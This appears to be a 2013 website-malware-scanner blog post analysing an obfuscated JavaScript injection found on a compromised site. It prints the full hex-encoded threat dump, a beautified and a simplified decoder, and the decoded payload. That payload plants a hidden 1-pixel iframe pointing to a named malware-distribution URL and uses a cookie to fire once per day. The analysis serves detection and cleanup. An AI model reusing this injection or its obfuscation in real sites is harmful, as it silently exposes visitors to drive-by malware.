Malicious JavaScript generates hidden iframe to malware distributor

Obfuscated malicious JavaScript code generates hidden iframe to load content from remote malicious domain

Background

Online Website Malware Scanner has identified malicious JavaScript code injected into website pages. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website visitor and to redirect web browser to remote malware distributor. This infected website hosts suspicious JavaScript code injected in 1 file. As discussed in other posts about malicious iframes generation, the attack flow is very similar and contains multiple levels of obfuscation to overcome the detection mechanisms. 

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Wed Apr 17 20:17:53 2013

Infected website's files: 1

Website malware scan report link: http://goo.gl/D5PF8

Website malware scanner report

Malicious JavaScript injection detected

Threat dump:
[[                                                                                                                                                                                                                                                          aq="0x";ff=String;fff="fromCh"+"a"+"rCode";ff=ff[fff];zz=3;try{document.body^=~1;}catch(z1z1){v=123;vzs=0;try{document;}catch(q){vzs=1;}if(!vzs)e=eval;if(1){f="5e,6d,66,5b,6c,61,67,66,18,72,72,72,5e,5e,5e,20,21,18,73,5,2,18,18,18,18,6e,59,6a,18,66,6c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,6a,5d,59,6c,5d,3d,64,5d,65,5d,66,6c,20,1f,61,5e,6a,59,65,5d,1f,21,33,5,2,5,2,18,18,18,18,66,6c,26,6b,6a,5b,18,35,18,1f,60,6c,6c,68,32,27,27,5c,61,5f,61,6c,59,64,65,5d,5c,61,59,6a,5d,6b,67,6d,6a,5b,5d,26,5b,67,65,27,64,67,5b,59,64,6b,5d,59,6a,5b,60,65,59,6a,63,5d,6c,61,66,5f,6c,70,26,5b,67,65,27,5d,6b,5c,26,68,60,68,1f,33,5,2,18,18,18,18,66,6c,26,6b,6c,71,64,5d,26,68,67,6b,61,6c,61,67,66,18,35,18,1f,59,5a,6b,67,64,6d,6c,5d,1f,33,5,2,18,18,18,18,66,6c,26,6b,6c,71,64,5d,26,5a,67,6a,5c,5d,6a,18,35,18,1f,28,1f,33,5,2,18,18,18,18,66,6c,26,6b,6c,71,64,5d,26,60,5d,61,5f,60,6c,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,66,6c,26,6b,6c,71,64,5d,26,6f,61,5c,6c,60,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,66,6c,26,6b,6c,71,64,5d,26,64,5d,5e,6c,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,66,6c,26,6b,6c,71,64,5d,26,6c,67,68,18,35,18,1f,29,68,70,1f,33,5,2,5,2,18,18,18,18,61,5e,18,20,19,5c,67,5b,6d,65,5d,66,6c,26,5f,5d,6c,3d,64,5d,65,5d,66,6c,3a,71,41,5c,20,1f,66,6c,1f,21,21,18,73,5,2,18,18,18,18,18,18,18,18,5c,67,5b,6d,65,5d,66,6c,26,6f,6a,61,6c,5d,20,1f,34,5c,61,6e,18,61,5c,35,54,1f,66,6c,54,1f,36,34,27,5c,61,6e,36,1f,21,33,5,2,18,18,18,18,18,18,18,18,5c,67,5b,6d,65,5d,66,6c,26,5f,5d,6c,3d,64,5d,65,5d,66,6c,3a,71,41,5c,20,1f,66,6c,1f,21,26,59,68,68,5d,66,5c,3b,60,61,64,5c,20,66,6c,21,33,5,2,18,18,18,18,75,5,2,75,5,2,5e,6d,66,5b,6c,61,67,66,18,4b,5d,6c,3b,67,67,63,61,5d,20,5b,67,67,63,61,5d,46,59,65,5d,24,5b,67,67,63,61,5d,4e,59,64,6d,5d,24,66,3c,59,71,6b,24,68,59,6c,60,21,18,73,5,2,18,6e,59,6a,18,6c,67,5c,59,71,18,35,18,66,5d,6f,18,3c,59,6c,5d,20,21,33,5,2,18,6e,59,6a,18,5d,70,68,61,6a,5d,18,35,18,66,5d,6f,18,3c,59,6c,5d,20,21,33,5,2,18,61,5e,18,20,66,3c,59,71,6b,35,35,66,6d,64,64,18,74,74,18,66,3c,59,71,6b,35,35,28,21,18,66,3c,59,71,6b,35,29,33,5,2,18,5d,70,68,61,6a,5d,26,6b,5d,6c,4c,61,65,5d,20,6c,67,5c,59,71,26,5f,5d,6c,4c,61,65,5d,20,21,18,23,18,2b,2e,28,28,28,28,28,22,2a,2c,22,66,3c,59,71,6b,21,33,5,2,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,18,35,18,5b,67,67,63,61,5d,46,59,65,5d,23,1a,35,1a,23,5d,6b,5b,59,68,5d,20,5b,67,67,63,61,5d,4e,59,64,6d,5d,21,5,2,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,23,18,1a,33,5d,70,68,61,6a,5d,6b,35,1a,18,23,18,5d,70,68,61,6a,5d,26,6c,67,3f,45,4c,4b,6c,6a,61,66,5f,20,21,18,23,18,20,20,68,59,6c,60,21,18,37,18,1a,33,18,68,59,6c,60,35,1a,18,23,18,68,59,6c,60,18,32,18,1a,1a,21,33,5,2,75,5,2,5e,6d,66,5b,6c,61,67,66,18,3f,5d,6c,3b,67,67,63,61,5d,20,18,66,59,65,5d,18,21,18,73,5,2,18,6e,59,6a,18,6b,6c,59,6a,6c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,61,66,5c,5d,70,47,5e,20,18,66,59,65,5d,18,23,18,1a,35,1a,18,21,33,5,2,18,6e,59,6a,18,64,5d,66,18,35,18,6b,6c,59,6a,6c,18,23,18,66,59,65,5d,26,64,5d,66,5f,6c,60,18,23,18,29,33,5,2,18,61,5e,18,20,18,20,18,19,6b,6c,59,6a,6c,18,21,18,1e,1e,5,2,18,20,18,66,59,65,5d,18,19,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,6b,6d,5a,6b,6c,6a,61,66,5f,20,18,28,24,18,66,59,65,5d,26,64,5d,66,5f,6c,60,18,21,18,21,18,21,5,2,18,73,5,2,18,6a,5d,6c,6d,6a,66,18,66,6d,64,64,33,5,2,18,75,5,2,18,61,5e,18,20,18,6b,6c,59,6a,6c,18,35,35,18,25,29,18,21,18,6a,5d,6c,6d,6a,66,18,66,6d,64,64,33,5,2,18,6e,59,6a,18,5d,66,5c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,61,66,5c,5d,70,47,5e,20,18,1a,33,1a,24,18,64,5d,66,18,21,33,5,2,18,61,5e,18,20,18,5d,66,5c,18,35,35,18,25,29,18,21,18,5d,66,5c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,64,5d,66,5f,6c,60,33,5,2,18,6a,5d,6c,6d,6a,66,18,6d,66,5d,6b,5b,59,68,5d,20,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,6b,6d,5a,6b,6c,6a,61,66,5f,20,18,64,5d,66,24,18,5d,66,5c,18,21,18,21,33,5,2,75,5,2,61,5e,18,20,66,59,6e,61,5f,59,6c,67,6a,26,5b,67,67,63,61,5d,3d,66,59,5a,64,5d,5c,21,5,2,73,5,2,61,5e,20,3f,5d,6c,3b,67,67,63,61,5d,20,1f,6e,61,6b,61,6c,5d,5c,57,6d,69,1f,21,35,35,2d,2d,21,73,75,5d,64,6b,5d,73,4b,5d,6c,3b,67,67,63,61,5d,20,1f,6e,61,6b,61,6c,5d,5c,57,6d,69,1f,24,18,1f,2d,2d,1f,24,18,1f,29,1f,24,18,1f,27,1f,21,33,5,2,5,2,72,72,72,5e,5e,5e,20,21,33,5,2,75,5,2,75"["split"](",");}w=f;s=[];if(window.document)for(i=2-2;-i+1397!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(e(aq+(w[j]))+8);}xz=e;if(window.document)xz(s)}]]

Malware entry

Malware entry details.

Beautified script

1. aq = "0x";
2. ff = String;
3. fff = "fromCh" + "a" + "rCode";
4. ff = ff[fff];
5. zz = 3;
6. try {
7.     document.body ^= ~1;
8. } catch (z1z1) {
9.     v = 123;
10.     vzs = 0;
11.     try {
12.         document;
13.     } catch (q) {
14.         vzs = 1;
15.     }
16.     if (!vzs) e = eval;
17.     if (1) {
18.         f ="5e,6d,66,5b,6c,61,67,66,18,72,72,72,5e,5e,5e,20,21,18,73,5,2,18,18,18,18,6e,59,6a,18,66,6c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,6a,5d,59,6c,5d,3d,64,5d,65,5d,66,6c,20,1f,61,5e,6a,59,65,5d,1f,21,33,5,2,5,2,18,18,18,18,66,6c,26,6b,6a,5b,18,35,18,1f,60,6c,6c,68,32,27,27,5c,61,5f,61,6c,59,64,65,5d,5c,61,59,6a,5d,6b,67,6d,6a,5b,5d,26,5b,67,65,27,64,67,5b,59,64,6b,5d,59,6a,5b,60,65,59,6a,63,5d,6c,61,66,5f,6c,70,26,5b,67,65,27,5d,6b,5c,26,68,60,68,1f,33,5,2,18,18,18,18,66,6c,26,6b,6c,71,64,5d,26,68,67,6b,61,6c,61,67,66,18,35,18,1f,59,5a,6b,67,64,6d,6c,5d,1f,33,5,2,18,18,18,18,66,6c,26,6b,6c,71,64,5d,26,5a,67,6a,5c,5d,6a,18,35,18,1f,28,1f,33,5,2,18,18,18,18,66,6c,26,6b,6c,71,64,5d,26,60,5d,61,5f,60,6c,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,66,6c,26,6b,6c,71,64,5d,26,6f,61,5c,6c,60,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,66,6c,26,6b,6c,71,64,5d,26,64,5d,5e,6c,18,35,18,1f,29,68,70,1f,33,5,2,18,18,18,18,66,6c,26,6b,6c,71,64,5d,26,6c,67,68,18,35,18,1f,29,68,70,1f,33,5,2,5,2,18,18,18,18,61,5e,18,20,19,5c,67,5b,6d,65,5d,66,6c,26,5f,5d,6c,3d,64,5d,65,5d,66,6c,3a,71,41,5c,20,1f,66,6c,1f,21,21,18,73,5,2,18,18,18,18,18,18,18,18,5c,67,5b,6d,65,5d,66,6c,26,6f,6a,61,6c,5d,20,1f,34,5c,61,6e,18,61,5c,35,54,1f,66,6c,54,1f,36,34,27,5c,61,6e,36,1f,21,33,5,2,18,18,18,18,18,18,18,18,5c,67,5b,6d,65,5d,66,6c,26,5f,5d,6c,3d,64,5d,65,5d,66,6c,3a,71,41,5c,20,1f,66,6c,1f,21,26,59,68,68,5d,66,5c,3b,60,61,64,5c,20,66,6c,21,33,5,2,18,18,18,18,75,5,2,75,5,2,5e,6d,66,5b,6c,61,67,66,18,4b,5d,6c,3b,67,67,63,61,5d,20,5b,67,67,63,61,5d,46,59,65,5d,24,5b,67,67,63,61,5d,4e,59,64,6d,5d,24,66,3c,59,71,6b,24,68,59,6c,60,21,18,73,5,2,18,6e,59,6a,18,6c,67,5c,59,71,18,35,18,66,5d,6f,18,3c,59,6c,5d,20,21,33,5,2,18,6e,59,6a,18,5d,70,68,61,6a,5d,18,35,18,66,5d,6f,18,3c,59,6c,5d,20,21,33,5,2,18,61,5e,18,20,66,3c,59,71,6b,35,35,66,6d,64,64,18,74,74,18,66,3c,59,71,6b,35,35,28,21,18,66,3c,59,71,6b,35,29,33,5,2,18,5d,70,68,61,6a,5d,26,6b,5d,6c,4c,61,65,5d,20,6c,67,5c,59,71,26,5f,5d,6c,4c,61,65,5d,20,21,18,23,18,2b,2e,28,28,28,28,28,22,2a,2c,22,66,3c,59,71,6b,21,33,5,2,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,18,35,18,5b,67,67,63,61,5d,46,59,65,5d,23,1a,35,1a,23,5d,6b,5b,59,68,5d,20,5b,67,67,63,61,5d,4e,59,64,6d,5d,21,5,2,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,23,18,1a,33,5d,70,68,61,6a,5d,6b,35,1a,18,23,18,5d,70,68,61,6a,5d,26,6c,67,3f,45,4c,4b,6c,6a,61,66,5f,20,21,18,23,18,20,20,68,59,6c,60,21,18,37,18,1a,33,18,68,59,6c,60,35,1a,18,23,18,68,59,6c,60,18,32,18,1a,1a,21,33,5,2,75,5,2,5e,6d,66,5b,6c,61,67,66,18,3f,5d,6c,3b,67,67,63,61,5d,20,18,66,59,65,5d,18,21,18,73,5,2,18,6e,59,6a,18,6b,6c,59,6a,6c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,61,66,5c,5d,70,47,5e,20,18,66,59,65,5d,18,23,18,1a,35,1a,18,21,33,5,2,18,6e,59,6a,18,64,5d,66,18,35,18,6b,6c,59,6a,6c,18,23,18,66,59,65,5d,26,64,5d,66,5f,6c,60,18,23,18,29,33,5,2,18,61,5e,18,20,18,20,18,19,6b,6c,59,6a,6c,18,21,18,1e,1e,5,2,18,20,18,66,59,65,5d,18,19,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,6b,6d,5a,6b,6c,6a,61,66,5f,20,18,28,24,18,66,59,65,5d,26,64,5d,66,5f,6c,60,18,21,18,21,18,21,5,2,18,73,5,2,18,6a,5d,6c,6d,6a,66,18,66,6d,64,64,33,5,2,18,75,5,2,18,61,5e,18,20,18,6b,6c,59,6a,6c,18,35,35,18,25,29,18,21,18,6a,5d,6c,6d,6a,66,18,66,6d,64,64,33,5,2,18,6e,59,6a,18,5d,66,5c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,61,66,5c,5d,70,47,5e,20,18,1a,33,1a,24,18,64,5d,66,18,21,33,5,2,18,61,5e,18,20,18,5d,66,5c,18,35,35,18,25,29,18,21,18,5d,66,5c,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,64,5d,66,5f,6c,60,33,5,2,18,6a,5d,6c,6d,6a,66,18,6d,66,5d,6b,5b,59,68,5d,20,18,5c,67,5b,6d,65,5d,66,6c,26,5b,67,67,63,61,5d,26,6b,6d,5a,6b,6c,6a,61,66,5f,20,18,64,5d,66,24,18,5d,66,5c,18,21,18,21,33,5,2,75,5,2,61,5e,18,20,66,59,6e,61,5f,59,6c,67,6a,26,5b,67,67,63,61,5d,3d,66,59,5a,64,5d,5c,21,5,2,73,5,2,61,5e,20,3f,5d,6c,3b,67,67,63,61,5d,20,1f,6e,61,6b,61,6c,5d,5c,57,6d,69,1f,21,35,35,2d,2d,21,73,75,5d,64,6b,5d,73,4b,5d,6c,3b,67,67,63,61,5d,20,1f,6e,61,6b,61,6c,5d,5c,57,6d,69,1f,24,18,1f,2d,2d,1f,24,18,1f,29,1f,24,18,1f,27,1f,21,33,5,2,5,2,72,72,72,5e,5e,5e,20,21,33,5,2,75,5,2,75"["split"](",");
19.     }
20.     w = f;
21.     s = [];
22.     if (window.document) for (i = 2 - 2; - i + 1397 != 0; i += 1) {
23.             j = i;
24.             if ((031 == 0x19)) if (e) s = s + ff(e(aq + (w[j])) + 8);
25.     }
26.     xz = e;
27.     if (window.document) xz(s)
28. }

Simplified version of malicious JavaScript code injection

1. f = "5e,6d,66,5b,6c,61,67,66,18,72,72,72,5e,5e,5e,20,21,18,73,...75,5,2,75" ["split"](",");
2. s=""
3. for (i = 2 - 2; - i + 1397 != 0; i += 1){ s = s + String.fromCharCode(eval("0x" + (f[i])) + 8);}  
4. eval(s);

Malicious payload

Decoded payload generates hidden iframe to http://digitalmediaresource[.]com/localsearchmarketingtx.com/esd.php

1. function zzzfff() {
2.     var nt = document.createElement('iframe');
3.     nt.src = 'http://digitalmediaresource.com/localsearchmarketingtx.com/esd.php';
4.     nt.style.position = 'absolute';
5.     nt.style.border = '0';
6.     nt.style.height = '1px';
7.     nt.style.width = '1px';
8.     nt.style.left = '1px';
9.     nt.style.top = '1px';
11.     if (!document.getElementById('nt')) {
12.         document.write('<div id=\'nt\'></div>');
13.         document.getElementById('nt').appendChild(nt);
14.     }
15. }
17. function SetCookie(cookieName,cookieValue,nDays,path) {
18.  var today = new Date();
19.  var expire = new Date();
20.  if (nDays==null || nDays==0) nDays=1;
21.  expire.setTime(today.getTime() + 3600000*24*nDays);
22.  document.cookie = cookieName+"="+escape(cookieValue)
23.                  + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
24. }
27. function GetCookie( name ) {
28.         var start = document.cookie.indexOf( name + "=" );
29.         var len = start + name.length + 1;
30.         if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) )
31.         {
32.                 return null;
33.         }
34.        
35.         if ( start == -1 ) return null;
36.         var end = document.cookie.indexOf( ";", len );
37.         if ( end == -1 ) end = document.cookie.length;
38.                 return unescape( document.cookie.substring( len, end ) );
39. }
42. if (navigator.cookieEnabled)
43. {
44.         if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');
45.         zzzfff();
46. }
47. }

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Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.